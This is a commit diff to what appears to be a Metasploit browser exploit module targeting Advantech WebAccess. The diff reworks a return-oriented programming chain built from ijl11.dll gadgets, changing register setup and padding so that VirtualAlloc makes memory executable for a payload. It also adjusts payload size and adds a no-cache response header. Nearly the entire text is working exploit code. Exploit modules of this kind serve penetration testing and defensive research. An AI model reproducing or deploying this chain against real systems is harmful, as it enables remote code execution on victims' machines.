Fix rop chain to allow VirtualAlloc when end of stack is too close

Author: jvazquez-r7

modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb

@@ -48,7 +48,7 @@ def initialize(info = {})
         },
       'Payload'             =>
         {
-          'Space'           => 4096,
+          'Space'           => 1024,
           'DisableNops'     => true,
           'BadChars'        => "\x00\x0a\x0d\x5c",
           # Patch the stack to execute the decoder...
@@ -83,22 +83,22 @@ def on_request_exploit(cli, request, target_info)
     EOS
 
     print_status("Sending #{self.name}")
-    send_response_html(cli, content)
+    send_response_html(cli, content, {'Pragma' => 'no-cache'})
   end
 
   # Uses gadgets from ijl11.dll 1.1.2.16
   def rop_payload(code)
     xpl = rand_text_alphanumeric(61) # offset
     xpl << [0x60014185].pack("V")    # RET
     xpl << rand_text_alphanumeric(8)
-    # EDX = flAllocationType (0x1000)
+
+    # EBX = dwSize (0x40)
     xpl << [0x60012288].pack("V") # POP ECX # RETN
     xpl << [0xffffffff].pack("V") # ecx value
     xpl << [0x6002157e].pack("V") # POP EAX # RETN
-    xpl << [0x9ffdbf89].pack("V") # eax value
+    xpl << [0x9ffdafc9].pack("V") # eax value
     xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
     xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
-    # EBX = dwSize (0x1000)
     xpl << [0x60018084].pack("V") # POP EBP # RETN
     xpl << rand_text_alphanumeric(4) # padding
     xpl << rand_text_alphanumeric(4) # padding
@@ -108,8 +108,19 @@ def rop_payload(code)
     xpl << [0x60012288].pack("V") # POP ECX # RETN
     xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN)
     xpl << [0x6001f1c8].pack("V") # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret
+    # EDX = flAllocationType (0x1000)
+    xpl << [0x60012288].pack("V") # POP ECX # RETN
+    xpl << [0xffffffff].pack("V") # ecx value
+    xpl << [0x6002157e].pack("V") # POP EAX # RETN
+    xpl << [0x9ffdbf89].pack("V") # eax value
+    xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
+    xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
     # ECX = flProtect (0x40)
     xpl << [0x6002157e].pack("V") # POP EAX # RETN
+    xpl << rand_text_alphanumeric(4) # padding
+    xpl << rand_text_alphanumeric(4) # padding
+    xpl << rand_text_alphanumeric(4) # padding
+    xpl << rand_text_alphanumeric(4) # padding
     xpl << [0x60029f6c].pack("V") # .data ijl11.dll
     xpl << [0x60012288].pack("V") # POP ECX # RETN
     xpl << [0xffffffff].pack("V") # ecx value